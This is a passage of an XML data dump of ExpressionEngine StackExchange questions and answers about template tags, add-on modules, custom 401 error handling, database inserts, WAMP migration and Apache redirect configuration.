/&amp;gt;&amp;lt;label for=&quot;dest_0{count}&quot;&amp;gt;Nicaragua 02/2016&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you see that the loop works well except for the count value and as you can see I tryed all options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1659" LastActivityDate="2015-07-31T09:00:39.487" Title="Low Variable and Matrix count not showing" Tags="|matrix|low-variables|loop|count|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32486" PostTypeId="1" CreationDate="2015-07-31T07:43:22.030" Score="0" ViewCount="123" Body="&lt;p&gt;I have a bit odd issue with Solspace Ratings Module.&#xA;It should hide the form after guest giving their review points but it keeps showing the form. Im on EE 2.10.1 running on php 5.6.2. No MSM, very basic installation. Ratings Module is the latest 3.3.1.&#xA;System folder is renamed and above webroot for extra info if that might count?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form does get hide ONLY if you are logged in. But for guests, it just keeps showing up and worse, guests can submit as many reviews they want, even that form params are setup to allow only one vote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the setup for the form I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:form entry_id=&quot;{segment_3}&quot; required=&quot;rating&quot; anonymous=&quot;yes&quot; collection=&quot;food-related&quot; return=&quot;food/index&quot; duplicate_check_guest_ip=&quot;no&quot; allow_duplicates=&quot;no&quot;}&#xA;&#xA;{if not_duplicate}&#xA;&amp;lt;div class=&quot;heading-block&quot;&amp;gt;&amp;lt;h1&amp;gt;&amp;lt;span&amp;gt;So, did you like this?&amp;lt;/span&amp;gt;&amp;lt;/h1&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;b&amp;gt;1 = Didnt like. 5 = I want more!&amp;lt;/b&amp;gt;, Tell us, please:&amp;lt;br&amp;gt;&#xA;&amp;lt;select name=&quot;rating&quot; id=&quot;rating&quot; class=&quot;required&quot;&amp;gt;&#xA;&amp;lt;option value=&quot;1&quot;&amp;gt;1 points&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;2&quot;&amp;gt;2 points&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;3&quot;&amp;gt;3 points&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;4&quot;&amp;gt;4 points&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&quot;5&quot;&amp;gt;5 points&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit!&quot; class=&quot;button button-3d button-small button-rounded button-red&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&#xA;{if duplicate}&amp;amp;nbsp;{/if}  &#xA;{/exp:rating:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2020-11-09T22:48:36.800" Title="Anyone happen to give a hand to solve issue with Solspace Ratings module?" Tags="|channel|solspace-rating|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32487" PostTypeId="2" ParentId="32485" CreationDate="2015-07-31T09:00:39.487" Score="1" Body="&lt;p&gt;I found it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to use a LV field tags to get the row count of a matrix field while I needed to use the matrix field tag {row_count}.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;lv_Form&quot;}                  &#xA;    &amp;lt;div class=&quot;radio-style&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;radio&quot; id=&quot;dest_0{row_count}&quot; name=&quot;destination&quot; value=&quot;0{row_count}&quot; /&amp;gt;&amp;lt;label for=&quot;dest_0{row_count}&quot;&amp;gt;{lvFormDest_{user_language}} {lvFormStartDate format=&quot;%m/%Y&quot;}&amp;lt;/label&amp;gt;&#xA;    &amp;lt;/div&amp;gt;              &#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1659" LastActivityDate="2015-07-31T09:00:39.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32488" PostTypeId="2" ParentId="32486" CreationDate="2015-07-31T12:54:16.330" Score="0" Body="&lt;p&gt;try removing this parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;duplicate_check_guest_ip=&quot;no&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-07-31T12:54:16.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32489" PostTypeId="2" ParentId="32486" CreationDate="2015-07-31T14:49:51.603" Score="0" Body="&lt;p&gt;have you checked the Preferences tab?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the member groups settings that are allowed to post ratings&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Check the Require email address for Guests?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;My working code..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:rating:form&#xA;collection=&quot;contest&quot;&#xA;entry_id=&quot;{entry_id}&quot;&#xA;allow_duplicates=&quot;no&quot;&#xA;required=&quot;rating|email&quot; &#xA;anonymous=&quot;no&quot;&#xA;return=&quot;{current_url}/rating-success/&quot;&#xA;user_template=&quot;user_template&quot;&#xA;form:class=&quot;validate&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2015-07-31T14:49:51.603" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32490" PostTypeId="2" ParentId="32479" CreationDate="2015-07-31T14:50:41.320" Score="0" Body="&lt;p&gt;Not with the current version (v1.4.1). Will make a note of adding something like a &lt;code&gt;{is_weekend}&lt;/code&gt; variable to the tag, so you can use that in a conditional.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-07-31T14:50:41.320" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32491" PostTypeId="2" ParentId="32480" CreationDate="2015-07-31T14:54:14.387" Score="1" Body="&lt;p&gt;No, the URL variables in Low Events return a format according to the &lt;a href=&quot;https://en.wikipedia.org/wiki/ISO_8601&quot; rel=&quot;nofollow&quot;&gt;ISO 8601 standard&lt;/a&gt;, as this is always unambiguous.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-07-31T14:54:14.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32492" PostTypeId="1" CreationDate="2015-07-31T16:38:19.360" Score="4" ViewCount="171" Body="&lt;p&gt;I submitted this as a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/21034/no-ability-to-create-custom-401-or-403-http-code-error-pages&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug to Ellis Labs&lt;/a&gt; over two weeks ago but have not had an acknowledgement that it is even a bug, so I am turning here to hopefully get some help. A &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/27118&quot;&gt;similar question is still unanswered&lt;/a&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Versions: PHP v.5.5.25, EE v.2.10.1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EE provides the ability to create a custom 404 error page. However, it does not provide the ability to create custom 401 or 403 HTTP code error pages, unlike other web development frameworks. It uses HTTP authentication and authorization throughout the CMS so this seems very odd. Searching the EE core shows where this is implemented, and it seems very much like a sledgehammer approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;system/expressionengine/libraries/Auth.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;132         // ------------------------------------------------&#xA;133 &#xA;134         /**&#xA;135          * Authenticate from basic http auth&#xA;136          *&#xA;137          * @access      public&#xA;138          */&#xA;139         public function authenticate_http_basic($not_allowed_groups = array(),&#xA;140                                                 $realm='Authentication Required')&#xA;141         {&#xA;142                 $always_disallowed = array(2, 3, 4);&#xA;143 &#xA;144                 $not_allowed_groups = array_merge($not_allowed_groups,&#xA;                                                      $always_disallowed);&#xA;145 &#xA;146                 $authed = $this-&amp;gt;_retrieve_http_basic();&#xA;147 &#xA;148                 if ($authed !== FALSE)&#xA;149                 {&#xA;150                         if (in_array($authed-&amp;gt;member('group_id'),&#xA;                                         $not_allowed_groups))&#xA;151                         {&#xA;152                                 $authed = FALSE;&#xA;153                         }&#xA;154                 }&#xA;155 &#xA;156                 if ($authed === FALSE)&#xA;157                 {&#xA;158                         @header('WWW-Authenticate: Basic realm=&quot;'.$realm.'&quot;');&#xA;159                         ee()-&amp;gt;output-&amp;gt;set_status_header(401);&#xA;160                         @header(&quot;Date: &quot;.gmdate(&quot;D, d M Y H:i:s&quot;).&quot; GMT&quot;);&#xA;161                         exit(&quot;HTTP/1.0 401 Unauthorized&quot;);&#xA;162                 }&#xA;163 &#xA;164                 return TRUE;&#xA;165         }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code uses EE to set a status header and then uses the raw PHP &lt;code&gt;exit()&lt;/code&gt; function (line 161) to dump out a string. There is no way to actually subclass this functionality and create a custom 401 or 403 error page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: I cannot even find a place where 403 errors are handled.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can give the control of authentication and error document handling back to Apache? Right now EE hijacks the process. I don't really want to hack the EE core (because that would require hacking the source of every subsequent upgrade). Are there some 3rd party EE plugins that do authentication and authorization in a more graceful way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2017-03-07T17:27:42.363" Title="Better authentication handling in EE - custom 401 and 403 HTTP error code pages" Tags="|authentication|apache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32493" PostTypeId="2" ParentId="27118" CreationDate="2015-07-31T16:52:52.680" Score="1" Body="&lt;p&gt;If you look in the EE source (v.2.10.1) you will see the following in &lt;code&gt;system/expressionengine/libraries/Auth.php&lt;/code&gt; (&lt;em&gt;line numbers on the left&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;156                 if ($authed === FALSE)&#xA;157                 {&#xA;158                         @header('WWW-Authenticate: Basic realm=&quot;'.$realm.'&quot;');&#xA;159                         ee()-&amp;gt;output-&amp;gt;set_status_header(401);&#xA;160                         @header(&quot;Date: &quot;.gmdate(&quot;D, d M Y H:i:s&quot;).&quot; GMT&quot;);&#xA;161                         exit(&quot;HTTP/1.0 401 Unauthorized&quot;);&#xA;162                 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EE's authentication hijacks the 401 response, dumping out a header and using PHP's &lt;code&gt;exit()&lt;/code&gt; function to dump out an &quot;helpful&quot; text string. AFAIK, and based on this evidence, there is no way to catch a 401 HTTP error code in a template, or even a raw Apache directive, &lt;em&gt;without&lt;/em&gt; hacking the EE source, which is not recommended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have submitted this as a &lt;a href=&quot;https://support.ellislab.com/bugs/detail/21034/no-ability-to-create-custom-401-or-403-http-code-error-pages&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug to Ellis Labs&lt;/a&gt; but have no heard anything back yet. If I do, I will add it to my own &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/32492&quot;&gt;SO question that is similar to this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2608" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-07-31T16:52:52.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32494" PostTypeId="2" ParentId="20462" CreationDate="2015-07-31T17:19:04.657" Score="1" Body="&lt;p&gt;Yes, but it would require some knowledge about MySQL and your form fields. Steps below:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create your form in &lt;code&gt;EE CP &amp;gt; Add-Ons &amp;gt; Modules &amp;gt; Freeform Pro&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Note the newly created Freeform &lt;code&gt;form_id&lt;/code&gt; (open the form page and look at your URL - you will see in the GET request the &lt;code&gt;&amp;amp;form_id=XX&lt;/code&gt; where &lt;code&gt;XX&lt;/code&gt; is an integer.&lt;/li&gt;&#xA;&lt;li&gt;Open MySQL from the command line&lt;/li&gt;&#xA;&lt;li&gt;Select your database. My EE db is called &lt;code&gt;expression_engine&lt;/code&gt;, so I would type &lt;code&gt;use expression_engine&lt;/code&gt; at the command line.&lt;/li&gt;&#xA;&lt;li&gt;If you type &lt;code&gt;show tables&lt;/code&gt; you will see all your EE database tables. Your Freeform form will have the table name &lt;code&gt;exp_freeform_form_entries_XX&lt;/code&gt; where &lt;code&gt;XX&lt;/code&gt; is your &lt;code&gt;form_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Take a look at the Freeform form table schema by typing &lt;code&gt;describe exp_freeform_form_entries_XX&lt;/code&gt;. You will see all the fields and their types. An example below:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysql&amp;gt; describe exp_freeform_form_entries_1;&#xA;+--------------+------------------+------+-----+---------+----------------+&#xA;| Field        | Type             | Null | Key | Default | Extra          |&#xA;+--------------+------------------+------+-----+---------+----------------+&#xA;| entry_id     | int(10) unsigned | NO   | PRI | NULL    | auto_increment |&#xA;| site_id      | int(10) unsigned | NO   |     | 1       |                |&#xA;| author_id    | int(10) unsigned | NO   |     | 0       |                |&#xA;| complete     | varchar(1)       | NO   |     | y       |                |&#xA;| ip_address   | varchar(40)      | NO   |     | 0       |                |&#xA;| entry_date   | int(10) unsigned | NO   |     | 0       |                |&#xA;| edit_date    | int(10) unsigned | NO   |     | 0       |                |&#xA;| status       | varchar(50)      | YES  |     | NULL    |                |&#xA;| form_field_1 | text             | YES  |     | NULL    |                |&#xA;| form_field_2 | text             | YES  |     | NULL    |                |&#xA;| form_field_3 | text             | YES  |     | NULL    |                |&#xA;| form_field_4 | text             | YES  |     | NULL    |                |&#xA;+--------------+------------------+------+-----+---------+----------------+&#xA;12 rows in set (0.00 sec)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;author_id&lt;/code&gt; field is your EE member/user primary key (the &lt;code&gt;member_id&lt;/code&gt; in the &lt;code&gt;exp_members&lt;/code&gt; database table). The &lt;code&gt;form_field_X&lt;/code&gt; fields are your custom form fields created in Freeform. Be careful to match them up correctly! You should make sure the &lt;code&gt;entry_date&lt;/code&gt; field is filled out with a valid &lt;a href=&quot;http://www.unixtimestamp.com/&quot; rel=&quot;nofollow&quot;&gt;UNIX timestamp&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have all the critical fields ids you need to write a simple PHP or shell script that would run a sequence of MySQL &lt;code&gt;INSERT&lt;/code&gt; statements to add your pre-filled information to the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that helps, and good luck!&lt;/p&gt;&#xA;" OwnerUserId="2608" LastActivityDate="2015-07-31T17:19:04.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32495" PostTypeId="1" CreationDate="2015-07-31T17:47:25.443" Score="0" ViewCount="213" Body="&lt;p&gt;I'm trying to use Channel Images in a front-end Channel Form situation. I have the channel images appearing, but the Upload Images button does not respond to clicking, and when I use the developer tools in Chrome, it spits out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uncaught TypeError: $.base64Decode is not a function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then a series of this information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ChannelImages.ActivateUploadHandlers    @   channel_images_pbf.js?v=5.4.19:112&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(anonymous function)    @   channel_images_pbf.js?v=5.4.19:68&#xA;n.extend.each   @   jquery-1.11.0.min.js:2&#xA;n.fn.n.each @   jquery-1.11.0.min.js:2&#xA;ChannelImages.InitFields    @   channel_images_pbf.js?v=5.4.19:64&#xA;ChannelImages.Init  @   channel_images_pbf.js?v=5.4.19:18&#xA;(anonymous function)    @   channel_images_pbf.js?v=5.4.19:1822&#xA;H.Callbacks.d   @   ?ACT=10&amp;amp;ui=core,widget,mouse,position,draggable,resizable,sortable,button,dialog,tabs,datepicker&amp;amp;pl…:16&#xA;H.Callbacks.p.fireWith  @   ?ACT=10&amp;amp;ui=core,widget,mouse,position,draggable,resizable,sortable,button,dialog,tabs,datepicker&amp;amp;pl…:16&#xA;s.extend.ready  @   ?ACT=10&amp;amp;ui=core,widget,mouse,position,draggable,resizable,sortable,button,dialog,tabs,datepicker&amp;amp;pl…:16&#xA;F.addEventListener.a    @   ?ACT=10&amp;amp;ui=core,widget,mouse,position&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can't use channel images to upload via Channel Form, does anyone else have a suggestion for a clean, multiple file upload option for Channel Form?&lt;/p&gt;&#xA;" OwnerUserId="3750" LastActivityDate="2016-05-24T01:49:26.110" Title="Channel Images Uncaught TypeError: $.base64Decode is not a function" Tags="|safecracker|channel-images|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32496" PostTypeId="1" AcceptedAnswerId="32497" CreationDate="2015-07-31T22:51:27.023" Score="0" ViewCount="178" Body="&lt;p&gt;I have an EE site configured via WAMP on my local computer-- that pretty much mirrors the site's production environment-- and I'm about to perform a clean OS install and am wondering what might be the easiest way to recover/restore my current EE site configuration to a clean WAMP install? I plan to copy entire WAMP directory, with all my sites in the &quot;www&quot; directory, and presumably any related configuration files. Has anyone performed this sort of migration before who could offer some guidance? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3777" LastActivityDate="2015-08-01T05:17:37.773" Title="Migrate localhost (WAMP) EE install" Tags="|migration|localhost|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32497" PostTypeId="2" ParentId="32496" CreationDate="2015-07-31T22:58:32.193" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://flowingmotion.jojordan.org/2013/07/19/12-steps-to-rebuild-your-wamp-server-without-losing-your-data/&quot; rel=&quot;nofollow&quot;&gt;http://flowingmotion.jojordan.org/2013/07/19/12-steps-to-rebuild-your-wamp-server-without-losing-your-data/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems generally useful. Make sure you reinstall the &lt;strong&gt;same&lt;/strong&gt; version of WAMP. Things like your config files and your entire web root are the most important to back up. Make sure you know all of your users and passwords. You can't just make a backup folder and restore it; WAMP does stuff in the Windows registry and port configs when it installs so it can open up; Make sure you install it with the same configuration (did you change the default install folder??).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, of course you need to do a full database dump. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And honestly, if you are duplicating in production, all you really need to do is make sure you install the same version of WAMP with the same configuration and set the same users and passwords (and don't forget your CONFIG FILES! think virtual host settings). If you have a good development to production work flow, this should be a breeze! When in doubt, &lt;strong&gt;back it up&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-08-01T05:17:37.773" LastActivityDate="2015-08-01T05:17:37.773" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32498" PostTypeId="1" CreationDate="2015-08-01T02:32:39.493" Score="0" ViewCount="162" Body="&lt;p&gt;By default, I want my Low Search results to display with an orderby_sort of last_name|asc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA;    collection=&quot;my_collection&quot;&#xA;    default:orderby_sort=&quot;last_name|asc&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when a keyword is present, I want the search results to be displayed by relevance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using a conditional around the orderby_sort parameter above like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if low_search_keywords}orderby_sort=&quot;low_search_score|asc&quot;{if:else}default:orderby_sort=&quot;last_name|asc&quot;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this does not seem to work.&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2016-05-17T06:39:19.883" Title="Display results by relevance in keyword search only using Low Search" Tags="|low-search|orderby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32499" PostTypeId="2" ParentId="32498" CreationDate="2015-08-01T15:14:46.710" Score="0" Body="&lt;p&gt;Parameters like that won't work for various parse order reasons. Right now, it's not possible to achieve with just hard-coded params. However, you could use a hidden input field for the &lt;code&gt;orderby_sort&lt;/code&gt; parameter in the form, and populate it with one or the other using JavaScript, based on whether the keywords field was empty or not.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; In the latest version, it should be possible to define the sort order like this: &lt;code&gt;orderby=&quot;low_search_score|title&quot; sort=&quot;desc|asc&quot;&lt;/code&gt;. When no keywords are given, the results should be ordered by title.&lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditDate="2015-10-31T08:33:54.937" LastActivityDate="2015-10-31T08:33:54.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32500" PostTypeId="1" CreationDate="2015-08-01T17:11:50.490" Score="0" ViewCount="66" Body="&lt;p&gt;I need all non-www requests to redirect to www. I believe I'm doing this right, but this code is not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;&#xA;Options +FollowSymlinks&#xA;RewriteEngine on  &#xA;&#xA;# If www is missing from the beginning of the URL&#xA;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;# Directs all EE web requests through the site index file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what could be wrong here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the answer was here: &lt;a href=&quot;http://www.jarrodoberto.com/articles/2011/11/enabling-mod-rewrite-on-ubuntu&quot; rel=&quot;nofollow&quot;&gt;http://www.jarrodoberto.com/articles/2011/11/enabling-mod-rewrite-on-ubuntu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on Ubuntu and my default site did not have AllowOverride to to All in areas shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory /&amp;gt;&#xA;    Options FollowSymLinks&#xA;    AllowOverride All                                 &amp;lt;- HERE&#xA;&amp;lt;/Directory&amp;gt;&#xA;&amp;lt;Directory /var/www/&amp;gt;&#xA;    Options Indexes FollowSymLinks MultiViews&#xA;    AllowOverride All                                 &amp;lt;- HERE&#xA;    Order allow,deny&#xA;    allow from all&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was hoping that after an Apache restart the problem would be resolved, but I'm still not seeing a redirect.&lt;/p&gt;&#xA;" OwnerUserId="2934" LastEditorUserId="2934" LastEditDate="2015-08-01T17:45:52.040" LastActivityDate="2016-06-16T18:24:32.863" Title=".htaccess not rewriting for missing www" Tags="|.htaccess|mod-rewrite|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32502" PostTypeId="2" ParentId="32500" CreationDate="2015-08-01T17:46:21.400" Score="0" Body="&lt;p&gt;THE SOLUTION&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the problem was a mis-configuration in my vhost setup file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is wrong.&lt;/strong&gt; Notice that the ServerName is set to www.mysite.com and the ServerAlias is set to www-prod.mysite.com:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName www.mysite.com&#xA;    ServerAlias www-prod.mysite.com&#xA;    DocumentRoot /var/www/vhosts/.../html_www&#xA;    &amp;lt;Directory /var/www/vhosts/.../html_www&amp;gt;&#xA;        AllowOverride All&#xA;    &amp;lt;/Directory&amp;gt;&#xA;    CustomLog /var/log/apache2/...-access_log common&#xA;    ErrorLog /var/log/apache2/...-error_log&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is right.&lt;/strong&gt; The ServerName and ServerAlias need to be set as such:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&#xA;    ServerName mysite.com&#xA;    ServerAlias www.mysite.com&#xA;    DocumentRoot /var/www/vhosts/.../html_www&#xA;    &amp;lt;Directory /var/www/vhosts/.../html_www&amp;gt;&#xA;        AllowOverride All&#xA;    &amp;lt;/Directory&amp;gt;&#xA;    CustomLog /var/log/apache2/...-access_log common&#xA;    ErrorLog /var/log/apache2/...-error_log&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my defense, this was not configured by me. I think our other developer was attempting to do something tricky with the server alias.&lt;/p&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2015-08-01T17:46:21.400" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32503" PostTypeId="1" AcceptedAnswerId="32516" CreationDate="2015-08-02T18:42:34.323" Score="0" ViewCount="44" Body="&lt;p&gt;I am trying to use cell padding to add some white space in Wygwam table cells. It works in the editor view, but doesn't show up in the live view. (I am very new to Wygwam and know nothing about HTML.) Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Labeled screen shots attached. Notice the lack of padding in the live version even though it is set to 5 in the edit version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/f0Id9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/f0Id9.png&quot; alt=&quot;edit mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iRVDK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iRVDK.png&quot; alt=&quot;live mode&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6533" LastEditorUserId="6533" LastEditDate="2015-08-02T20:05:56.353" LastActivityDate="2015-08-03T17:57:50.473" Title="Cell Padding in Wygwam" Tags="|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32504" PostTypeId="1" CreationDate="2015-08-03T02:26:58.490" Score="0" ViewCount="135" Body="&lt;p&gt;I need to display each calendar and the related events. The events are reoccurring and I want the dates and times for each occurrence to appear under the event title. To save my life I can't figure it out.  I don't have much experience with Calendar and I've already spend a crazy amount of time trying to figure this out.  It has to be simple but no luck.  Below is an example of what I'm needing to display.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;strong&gt;Calendar Title&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Event Title&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;li&gt;Day and Time&lt;/li&gt;&#xA;&lt;li&gt;Day and Time&lt;/li&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Event Title&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;li&gt;Day and Time&lt;/li&gt;&#xA;&lt;li&gt;Day and Time&lt;/li&gt;&#xA;&lt;li&gt;Day and Time&lt;/li&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;strong&gt;Calendar Two Title&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Event Title&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;li&gt;Day and Time&lt;/li&gt;&#xA;&lt;li&gt;Day and Time&lt;/li&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each event has various days and times throughout a given week and I want to avoid displaying the event name over and 